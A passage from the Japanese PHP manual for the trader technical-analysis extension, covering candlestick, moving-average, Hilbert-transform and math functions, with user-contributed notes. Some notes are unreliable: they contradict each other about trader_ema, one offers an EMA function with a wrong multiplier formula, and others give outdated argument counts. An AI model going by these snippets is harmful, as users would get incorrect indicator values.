trader_cdltristar ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Unique 3 River

  • ≪ trader_cdltristar
  • trader_cdlupsidegap2crows ≫
  • PHP Manual
  • Trader 関数
  • Unique 3 River

trader_cdlunique3river

(PECL trader >= 0.2.0)

trader_cdlunique3river — Unique 3 River

説明

trader_cdlunique3river ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Upside Gap Two Crows

  • ≪ trader_cdlunique3river
  • trader_cdlxsidegap3methods ≫
  • PHP Manual
  • Trader 関数
  • Upside Gap Two Crows

trader_cdlupsidegap2crows

(PECL trader >= 0.2.0)

trader_cdlupsidegap2crows — Upside Gap Two Crows

説明

trader_cdlupsidegap2crows ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Upside/Downside Gap Three Methods

  • ≪ trader_cdlupsidegap2crows
  • trader_ceil ≫
  • PHP Manual
  • Trader 関数
  • Upside/Downside Gap Three Methods

trader_cdlxsidegap3methods

(PECL trader >= 0.2.0)

trader_cdlxsidegap3methods — Upside/Downside Gap Three Methods

説明

trader_cdlxsidegap3methods ( array $open , array $high , array $low , array $close ) : array

パラメータ

open

始値。実数値の配列。

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Ceil

  • ≪ trader_cdlxsidegap3methods
  • trader_cmo ≫
  • PHP Manual
  • Trader 関数
  • Vector Ceil

trader_ceil

(PECL trader >= 0.2.0)

trader_ceil — Vector Ceil

説明

trader_ceil ( array $real ) : array

Calculates the next highest integer for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:52
<?php

$real = array(-7.8, 0, 0.1, 0.3, 1, 1.1, 55.1);

$result = trader_ceil($real);

var_dump($result);
/*
array(7) {
  [0]=>
  float(-7)
  [1]=>
  float(0)
  [2]=>
  float(1)
  [3]=>
  float(1)
  [4]=>
  float(1)
  [5]=>
  float(2)
  [6]=>
  float(56)
}
*/


Chande Momentum Oscillator

  • ≪ trader_ceil
  • trader_correl ≫
  • PHP Manual
  • Trader 関数
  • Chande Momentum Oscillator

trader_cmo

(PECL trader >= 0.2.0)

trader_cmo — Chande Momentum Oscillator

説明

trader_cmo ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Pearson's Correlation Coefficient (r)

  • ≪ trader_cmo
  • trader_cos ≫
  • PHP Manual
  • Trader 関数
  • Pearson's Correlation Coefficient (r)

trader_correl

(PECL trader >= 0.2.0)

trader_correl — Pearson's Correlation Coefficient (r)

説明

trader_correl ( array $real0 , array $real1 , int $timePeriod = ? ) : array

パラメータ

real0

実数値の配列。

real1

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Trigonometric Cos

  • ≪ trader_correl
  • trader_cosh ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric Cos

trader_cos

(PECL trader >= 0.2.0)

trader_cos — Vector Trigonometric Cos

説明

trader_cos ( array $real ) : array

Calculates the cosine for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:48
<?php

$real = array(0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1, 1.1);

$result = trader_cos($real);

var_dump($result);
/*
array(12) {
  [0]=>
  float(1)
  [1]=>
  float(0.995)
  [2]=>
  float(0.98)
  [3]=>
  float(0.955)
  [4]=>
  float(0.921)
  [5]=>
  float(0.878)
  [6]=>
  float(0.825)
  [7]=>
  float(0.765)
  [8]=>
  float(0.697)
  [9]=>
  float(0.622)
  [10]=>
  float(0.54)
  [11]=>
  float(0.454)
}
}
*/


Vector Trigonometric Cosh

  • ≪ trader_cos
  • trader_dema ≫
  • PHP Manual
  • Trader 関数
  • Vector Trigonometric Cosh

trader_cosh

(PECL trader >= 0.2.0)

trader_cosh — Vector Trigonometric Cosh

説明

trader_cosh ( array $real ) : array

Calculates the hyperbolic cosine for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Double Exponential Moving Average

  • ≪ trader_cosh
  • trader_div ≫
  • PHP Manual
  • Trader 関数
  • Double Exponential Moving Average

trader_dema

(PECL trader >= 0.2.0)

trader_dema — Double Exponential Moving Average

説明

trader_dema ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Div

  • ≪ trader_dema
  • trader_dx ≫
  • PHP Manual
  • Trader 関数
  • Vector Arithmetic Div

trader_div

(PECL trader >= 0.2.0)

trader_div — Vector Arithmetic Div

説明

trader_div ( array $real0 , array $real1 ) : array

Divides each value from real0 by the corresponding value from real1 and returns the resulting array.

パラメータ

real0

実数値の配列。

real1

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:37
<?php

$result = trader_div([1,2,3,4,5], [6,7,8,9,10]);

var_dump($result);
/*
array(5) {
  [0]=>
  float(0.167) // 1 / 6
  [1]=>
  float(0.286) / 2 / 7
  [2]=>
  float(0.375) // 3 / 8
  [3]=>
  float(0.444) // 4 / 9
  [4]=>
  float(0.5) // 5 / 10
}
*/


Directional Movement Index

  • ≪ trader_div
  • trader_ema ≫
  • PHP Manual
  • Trader 関数
  • Directional Movement Index

trader_dx

(PECL trader >= 0.2.0)

trader_dx — Directional Movement Index

説明

trader_dx ( array $high , array $low , array $close , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Exponential Moving Average

  • ≪ trader_dx
  • trader_errno ≫
  • PHP Manual
  • Trader 関数
  • Exponential Moving Average

trader_ema

(PECL trader >= 0.2.0)

trader_ema — Exponential Moving Average

説明

trader_ema ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

Anonymous 03-Sep-2019 10:08
As noted,  this function simply doesnt work.  It returns MA values.
andy at siliconrockstar dot com 01-Jun-2019 08:00
The trader_ema() function works correctly if you understand what the second argument is. The second argument is used to group the values into overlapping periods. Within the periods, the numbers undergo a simple average calculation.

So if you call trader_ema($array, 6), and your array only has six values, you're going to get back a simple average, because there is no previous data to weight the value.

If you call trader_ema($array, 3), then your six array values will be grouped into four overlapping groups of three, and you'll get back four values, each representing the EMA for that period.

Below is the output of trader_ema(array(1,2,2,1,3,4), 3) and trader_sma(array(1,2,2,1,3,4), 3). You can see the first value is the same for both the EMA and SMA calculations.

trader_ema(array(1,2,2,1,3,4), 3)

array(4) {
  [2]=>
  float(1.6666666667)
  [3]=>
  float(1.3333333333)
  [4]=>
  float(2.1666666667)
  [5]=>
  float(3.0833333333)
}

trader_sma(array(1,2,2,1,3,4), 3)

array(4) {
  [2]=>
  float(1.6666666667)
  [3]=>
  float(1.6666666667)
  [4]=>
  float(2)
  [5]=>
  float(2.6666666667)
}
Ash Christos 08-Aug-2018 07:28
This method works fine. If you're finding that the EMA and SMA results are the same, the precision setting might still be the default or not tuned to your use case. (For example floats with more than 3 levels, sathoshi's, etc)

# this is needed for 0.00XXXXZ levels
ini_set( 'trader.real_precision', '8' );
kazemi dot milad at gmail dot com 01-Aug-2018 11:22
trader_ema in wrong calculate value
this return just simple moving avrage
for get ema correct use this code
$number is data array and $n is number of period
example:
$number[0]    => last value
$number[n]    =>first value

function exponentialMovingAverage(array $numbers, int $n): array
{
    $numbers=array_reverse($numbers);
    $m   = count($numbers);
    $α   = 2 / ($n + 1);
    $EMA = [];

    // Start off by seeding with the first data point
    $EMA[] = $numbers[0];

    // Each day after: EMAtoday = α?xtoday + (1-α)EMAyesterday
    for ($i = 1; $i < $m; $i++) {
        $EMA[] = ($α * $numbers[$i]) + ((1 - $α) * $EMA[$i - 1]);
    }
    $EMA=array_reverse($EMA);
    return $EMA;
}
manoj dot monu23 at gmail dot com 03-Feb-2014 12:07
the trader_ema() function does'nt work correctly , it calculate just average of last period entries. Follow the following code for trader_ema:
 function EMACalculator($limit,$array)
{
    $EMA_previous_day = $array[0];
    //print_r($array);
    $multiplier1 = (2/$limit+1);
    $EMA[]=array();
    $EMA = $array[0];
    $Close= $array[1];

    while($limit)
{
    //echo"EMA is $EMA\n";
    $EMA = ($Close - $EMA_previous_day) * $multiplier1 + $EMA_previous_day;
    $EMA_previous_day= $EMA;

    $limit--;
}
return $EMA;
}
where $limit accept the period of ema  and $array : accept array of data for ema calculation.


Get error code

  • ≪ trader_ema
  • trader_exp ≫
  • PHP Manual
  • Trader 関数
  • Get error code

trader_errno

(PECL trader >= 0.3.0)

trader_errno — Get error code

説明

trader_errno ( ) : int

Get error code of the last operation.

返り値

Returns the error code identified by one of the TRADER_ERR_* constants.

User Contributed Notes

There are no user contributed notes for this page.


Vector Arithmetic Exp

  • ≪ trader_errno
  • trader_floor ≫
  • PHP Manual
  • Trader 関数
  • Vector Arithmetic Exp

trader_exp

(PECL trader >= 0.2.0)

trader_exp — Vector Arithmetic Exp

説明

trader_exp ( array $real ) : array

Calculates e raised to the power of each value in real. Returns an array with the calculated data.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Floor

  • ≪ trader_exp
  • trader_get_compat ≫
  • PHP Manual
  • Trader 関数
  • Vector Floor

trader_floor

(PECL trader >= 0.2.0)

trader_floor — Vector Floor

説明

trader_floor ( array $real ) : array

Calculates the next lowest integer for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Feb-2021 05:54
<?php

$real = array(-7.8, 0, 0.1, 0.3, 1, 1.1, 55.1);

$result = trader_floor($real);

var_dump($result);
/*
array(7) {
  [0]=>
  float(-8)
  [1]=>
  float(0)
  [2]=>
  float(0)
  [3]=>
  float(0)
  [4]=>
  float(1)
  [5]=>
  float(1)
  [6]=>
  float(55)
}
*/


Get compatibility mode

  • ≪ trader_floor
  • trader_get_unstable_period ≫
  • PHP Manual
  • Trader 関数
  • Get compatibility mode

trader_get_compat

(PECL trader >= 0.2.2)

trader_get_compat — Get compatibility mode

説明

trader_get_compat ( ) : int

Get compatibility mode which affects the way calculations are done by all the extension functions.

返り値

Returns the compatibility mode id which can be identified by TRADER_COMPATIBILITY_* series of constants.

User Contributed Notes

There are no user contributed notes for this page.


Get unstable period

  • ≪ trader_get_compat
  • trader_ht_dcperiod ≫
  • PHP Manual
  • Trader 関数
  • Get unstable period

trader_get_unstable_period

(PECL trader >= 0.2.2)

trader_get_unstable_period — Get unstable period

説明

trader_get_unstable_period ( int $functionId ) : int

Get unstable period factor for a particular function.

パラメータ

functionId

Function ID the factor to be read for. TRADER_FUNC_UNST_* series of constants should be used.

返り値

Returns the unstable period factor for the corresponding function.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Dominant Cycle Period

  • ≪ trader_get_unstable_period
  • trader_ht_dcphase ≫
  • PHP Manual
  • Trader 関数
  • Hilbert Transform - Dominant Cycle Period

trader_ht_dcperiod

(PECL trader >= 0.2.0)

trader_ht_dcperiod — Hilbert Transform - Dominant Cycle Period

説明

trader_ht_dcperiod ( array $real ) : array

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Dominant Cycle Phase

  • ≪ trader_ht_dcperiod
  • trader_ht_phasor ≫
  • PHP Manual
  • Trader 関数
  • Hilbert Transform - Dominant Cycle Phase

trader_ht_dcphase

(PECL trader >= 0.2.0)

trader_ht_dcphase — Hilbert Transform - Dominant Cycle Phase

説明

trader_ht_dcphase ( array $real ) : array

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Phasor Components

  • ≪ trader_ht_dcphase
  • trader_ht_sine ≫
  • PHP Manual
  • Trader 関数
  • Hilbert Transform - Phasor Components

trader_ht_phasor

(PECL trader >= 0.2.0)

trader_ht_phasor — Hilbert Transform - Phasor Components

説明

trader_ht_phasor ( array $real ) : array

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

bitstocoins at gmail dot com 28-May-2015 08:39
trader_ht_phasor is documented to take only one value

it requires exactly 2 parameters to operate properly

example is

$htpa = trader_ht_phasor($a['open'],$a['close']);


Hilbert Transform - SineWave

  • ≪ trader_ht_phasor
  • trader_ht_trendline ≫
  • PHP Manual
  • Trader 関数
  • Hilbert Transform - SineWave

trader_ht_sine

(PECL trader >= 0.2.0)

trader_ht_sine — Hilbert Transform - SineWave

説明

trader_ht_sine ( array $real ) : array

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

phpnet at mediaquest dot nl 14-Mar-2018 12:08
This is in the changelog for pecl trader extension version 0.4.1. Previous versions used 2 arguments, now only one (see https://pecl.php.net/package-changelog.php?package=trader&release=0.4.1)
bitstocoins at gmail dot com 28-May-2015 08:43
Documentation is missing a value

$hts = trader_ht_sine($a['open'],$a['close']);


Hilbert Transform - Instantaneous Trendline

  • ≪ trader_ht_sine
  • trader_ht_trendmode ≫
  • PHP Manual
  • Trader 関数
  • Hilbert Transform - Instantaneous Trendline

trader_ht_trendline

(PECL trader >= 0.2.0)

trader_ht_trendline — Hilbert Transform - Instantaneous Trendline

説明

trader_ht_trendline ( array $real ) : array

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Hilbert Transform - Trend vs Cycle Mode

  • ≪ trader_ht_trendline
  • trader_kama ≫
  • PHP Manual
  • Trader 関数
  • Hilbert Transform - Trend vs Cycle Mode

trader_ht_trendmode

(PECL trader >= 0.2.0)

trader_ht_trendmode — Hilbert Transform - Trend vs Cycle Mode

説明

trader_ht_trendmode ( array $real ) : array

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Kaufman Adaptive Moving Average

  • ≪ trader_ht_trendmode
  • trader_linearreg_angle ≫
  • PHP Manual
  • Trader 関数
  • Kaufman Adaptive Moving Average

trader_kama

(PECL trader >= 0.2.0)

trader_kama — Kaufman Adaptive Moving Average

説明

trader_kama ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Angle

  • ≪ trader_kama
  • trader_linearreg_intercept ≫
  • PHP Manual
  • Trader 関数
  • Linear Regression Angle

trader_linearreg_angle

(PECL trader >= 0.2.0)

trader_linearreg_angle — Linear Regression Angle

説明

trader_linearreg_angle ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Intercept

  • ≪ trader_linearreg_angle
  • trader_linearreg_slope ≫
  • PHP Manual
  • Trader 関数
  • Linear Regression Intercept

trader_linearreg_intercept

(PECL trader >= 0.2.0)

trader_linearreg_intercept — Linear Regression Intercept

説明

trader_linearreg_intercept ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Linear Regression Slope

  • ≪ trader_linearreg_intercept
  • trader_linearreg ≫
  • PHP Manual
  • Trader 関数
  • Linear Regression Slope

trader_linearreg_slope

(PECL trader >= 0.2.0)

trader_linearreg_slope — Linear Regression Slope

説明

trader_linearreg_slope ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

Angel J. Salinas 09-Apr-2019 10:30
Default value of precision in trader library is 3, but can be increased easily with something like this:

ini_set( 'trader.real_precision', '6' );
Angel J. Salinas 06-Feb-2016 11:26
// If you don't have the php_trader library or needs more than 3 precision digits,
// you can use this function:
public static function linearreg_slope( $valuesIn, $period )
{
  $valuesOut = array();

  $startIdx = 0;
  $endIdx = count($valuesIn) - 1;

  $sumX = $period * ( $period - 1 ) * 0.5;
  $sumXSqr = $period * ( $period - 1 ) * ( 2 * $period - 1 ) / 6;
  $divisor = $sumX * $sumX - $period * $sumXSqr;

  for ( $today = $startIdx, $outIdx = 0; $today <= $endIdx; $today++, $outIdx++ )
  {
    $sumXY = 0;
    $sumY = 0;
    if ( $today >= $period - 1 ) {
      for( $aux = $period; $aux-- != 0; )
      {
        $sumY += $tempValue = $valuesIn[$today - $aux];
        $sumXY += (double)$aux * $tempValue;
      }
      $valuesOut[$outIdx] = ( $period * $sumXY - $sumX * $sumY) / $divisor;
    }
  }

  return $valuesOut;
}


Linear Regression

  • ≪ trader_linearreg_slope
  • trader_ln ≫
  • PHP Manual
  • Trader 関数
  • Linear Regression

trader_linearreg

(PECL trader >= 0.2.0)

trader_linearreg — Linear Regression

説明

trader_linearreg ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Log Natural

  • ≪ trader_linearreg
  • trader_log10 ≫
  • PHP Manual
  • Trader 関数
  • Vector Log Natural

trader_ln

(PECL trader >= 0.2.0)

trader_ln — Vector Log Natural

説明

trader_ln ( array $real ) : array

Calculates the natural logarithm for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Vector Log10

  • ≪ trader_ln
  • trader_ma ≫
  • PHP Manual
  • Trader 関数
  • Vector Log10

trader_log10

(PECL trader >= 0.2.0)

trader_log10 — Vector Log10

説明

trader_log10 ( array $real ) : array

Calculates the base-10 logarithm for each value in real and returns the resulting array.

パラメータ

real

実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving average

  • ≪ trader_log10
  • trader_macd ≫
  • PHP Manual
  • Trader 関数
  • Moving average

trader_ma

(PECL trader >= 0.2.0)

trader_ma — Moving average

説明

trader_ma ( array $real , int $timePeriod = ? , int $mAType = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

geekgirl dot joy at gmail dot com 17-Feb-2021 02:55
<?php
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

var_dump(trader_ma($closes, 3, TRADER_MA_TYPE_SMA));

/*
array(12) {
  [2]=>
  float(114.543)  // (112.82 + 117.32 + 113.49) / 3 = 114.54333333333
  [3]=>
  float(114.27)   // (117.32 + 113.49 + 112) / 3 = 114.27
  [4]=>
  float(113.615)  // (113.49 + 112 + 115.355) / 3 = 113.615
  [5]=>
  float(114.298)  // (112 + 115.355 + 115.54) / 3 = 114.29833333333
  [6]=>
  float(114.342)  // (115.355 + 115.54 + 112.13) / 3 = 114.34166666667
  [7]=>
  float(112.67)   // (115.54 + 112.13 + 110.34) / 3 = 112.67
  [8]=>
  float(109.77)   // (112.13 + 110.34 + 106.84) / 3 = 109.77
  [9]=>
  float(109.087)  // (110.34 + 106.84 + 110.08) / 3 = 109.08666666667
  [10]=>
  float(109.577)  // (106.84 + 110.08 + 111.81) / 3 = 109.57666666667
  [11]=>
  float(109.67)   // (110.08 + 111.81 + 107.12) / 3 = 109.67
  [12]=>
  float(109.05)   // (111.81 + 107.12 + 108.22) / 3 = 109.05
  [13]=>
  float(109.207)  // (107.12 + 108.22 + 112.28) /3 = 109.20666666667
}
*/


Moving Average Convergence/Divergence

  • ≪ trader_ma
  • trader_macdext ≫
  • PHP Manual
  • Trader 関数
  • Moving Average Convergence/Divergence

trader_macd

(PECL trader >= 0.2.0)

trader_macd — Moving Average Convergence/Divergence

説明

trader_macd ( array $real , int $fastPeriod = ? , int $slowPeriod = ? , int $signalPeriod = ? ) : array

パラメータ

real

実数値の配列。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

koenig at globaltown dot de 25-Jan-2014 11:25
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MACD with controllable MA type

  • ≪ trader_macd
  • trader_macdfix ≫
  • PHP Manual
  • Trader 関数
  • MACD with controllable MA type

trader_macdext

(PECL trader >= 0.2.0)

trader_macdext — MACD with controllable MA type

説明

trader_macdext ( array $real , int $fastPeriod = ? , int $fastMAType = ? , int $slowPeriod = ? , int $slowMAType = ? , int $signalPeriod = ? , int $signalMAType = ? ) : array

パラメータ

real

実数値の配列。

fastPeriod

Number of period for the fast MA. Valid range from 2 to 100000.

fastMAType

Type of Moving Average for fast MA. TRADER_MA_TYPE_* series of constants should be used.

slowPeriod

Number of period for the slow MA. Valid range from 2 to 100000.

slowMAType

Type of Moving Average for slow MA. TRADER_MA_TYPE_* series of constants should be used.

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

signalMAType

Type of Moving Average for signal line. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving Average Convergence/Divergence Fix 12/26

  • ≪ trader_macdext
  • trader_mama ≫
  • PHP Manual
  • Trader 関数
  • Moving Average Convergence/Divergence Fix 12/26

trader_macdfix

(PECL trader >= 0.2.0)

trader_macdfix — Moving Average Convergence/Divergence Fix 12/26

説明

trader_macdfix ( array $real , int $signalPeriod = ? ) : array

パラメータ

real

実数値の配列。

signalPeriod

Smoothing for the signal line (nb of period). Valid range from 1 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

Chileung Chow 04-Mar-2017 05:52
Return value of this function is an array of arrays :

index [0]: MACD values
index [1]: Signal values
index [2]: Divergence values


MESA Adaptive Moving Average

  • ≪ trader_macdfix
  • trader_mavp ≫
  • PHP Manual
  • Trader 関数
  • MESA Adaptive Moving Average

trader_mama

(PECL trader >= 0.2.0)

trader_mama — MESA Adaptive Moving Average

説明

trader_mama ( array $real , float $fastLimit = ? , float $slowLimit = ? ) : array

パラメータ

real

実数値の配列。

fastLimit

Upper limit use in the adaptive algorithm. Valid range from 0.01 to 0.99.

slowLimit

Lower limit use in the adaptive algorithm. Valid range from 0.01 to 0.99.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moving average with variable period

  • ≪ trader_mama
  • trader_max ≫
  • PHP Manual
  • Trader 関数
  • Moving average with variable period

trader_mavp

(PECL trader >= 0.2.0)

trader_mavp — Moving average with variable period

説明

trader_mavp ( array $real , array $periods , int $minPeriod = ? , int $maxPeriod = ? , int $mAType = ? ) : array

パラメータ

real

実数値の配列。

periods

実数値の配列。

minPeriod

Value less than minimum will be changed to Minimum period. Valid range from 2 to 100000

maxPeriod

Value higher than minimum will be changed to Maximum period. Valid range from 2 to 100000

mAType

Type of Moving Average. TRADER_MA_TYPE_* series of constants should be used.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Highest value over a specified period

  • ≪ trader_mavp
  • trader_maxindex ≫
  • PHP Manual
  • Trader 関数
  • Highest value over a specified period

trader_max

(PECL trader >= 0.2.0)

trader_max — Highest value over a specified period

説明

trader_max ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Index of highest value over a specified period

  • ≪ trader_max
  • trader_medprice ≫
  • PHP Manual
  • Trader 関数
  • Index of highest value over a specified period

trader_maxindex

(PECL trader >= 0.2.0)

trader_maxindex — Index of highest value over a specified period

説明

trader_maxindex ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Median Price

  • ≪ trader_maxindex
  • trader_mfi ≫
  • PHP Manual
  • Trader 関数
  • Median Price

trader_medprice

(PECL trader >= 0.2.0)

trader_medprice — Median Price

説明

trader_medprice ( array $high , array $low ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Money Flow Index

  • ≪ trader_medprice
  • trader_midpoint ≫
  • PHP Manual
  • Trader 関数
  • Money Flow Index

trader_mfi

(PECL trader >= 0.2.0)

trader_mfi — Money Flow Index

説明

trader_mfi ( array $high , array $low , array $close , array $volume , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

close

終値。実数値の配列。

volume

取引高。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


MidPoint over period

  • ≪ trader_mfi
  • trader_midprice ≫
  • PHP Manual
  • Trader 関数
  • MidPoint over period

trader_midpoint

(PECL trader >= 0.2.0)

trader_midpoint — MidPoint over period

説明

trader_midpoint ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Midpoint Price over period

  • ≪ trader_midpoint
  • trader_min ≫
  • PHP Manual
  • Trader 関数
  • Midpoint Price over period

trader_midprice

(PECL trader >= 0.2.0)

trader_midprice — Midpoint Price over period

説明

trader_midprice ( array $high , array $low , int $timePeriod = ? ) : array

パラメータ

high

高値。実数値の配列。

low

安値。実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Lowest value over a specified period

  • ≪ trader_midprice
  • trader_minindex ≫
  • PHP Manual
  • Trader 関数
  • Lowest value over a specified period

trader_min

(PECL trader >= 0.2.0)

trader_min — Lowest value over a specified period

説明

trader_min ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Index of lowest value over a specified period

  • ≪ trader_min
  • trader_minmax ≫
  • PHP Manual
  • Trader 関数
  • Index of lowest value over a specified period

trader_minindex

(PECL trader >= 0.2.0)

trader_minindex — Index of lowest value over a specified period

説明

trader_minindex ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Lowest and highest values over a specified period

  • ≪ trader_minindex
  • trader_minmaxindex ≫
  • PHP Manual
  • Trader 関数
  • Lowest and highest values over a specified period

trader_minmax

(PECL trader >= 0.2.0)

trader_minmax — Lowest and highest values over a specified period

説明

trader_minmax ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Indexes of lowest and highest values over a specified period

  • ≪ trader_minmax
  • trader_minus_di ≫
  • PHP Manual
  • Trader 関数
  • Indexes of lowest and highest values over a specified period

trader_minmaxindex

(PECL trader >= 0.2.0)

trader_minmaxindex — Indexes of lowest and highest values over a specified period

説明

trader_minmaxindex ( array $real , int $timePeriod = ? ) : array

パラメータ

real

実数値の配列。

timePeriod

Number of period. Valid range from 2 to 100000.

返り値

Returns an array with calculated data or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Minus Directional Indicator

  • ≪ trader_minmaxindex
  • trader_minus_dm ≫
  • PHP Manual
  • Trader 関数
  • Minus Directional Indicator

trader_minus_di

(PECL trader >= 0.2.0)

trader_minus_di — Minus Directional Indicator

説明

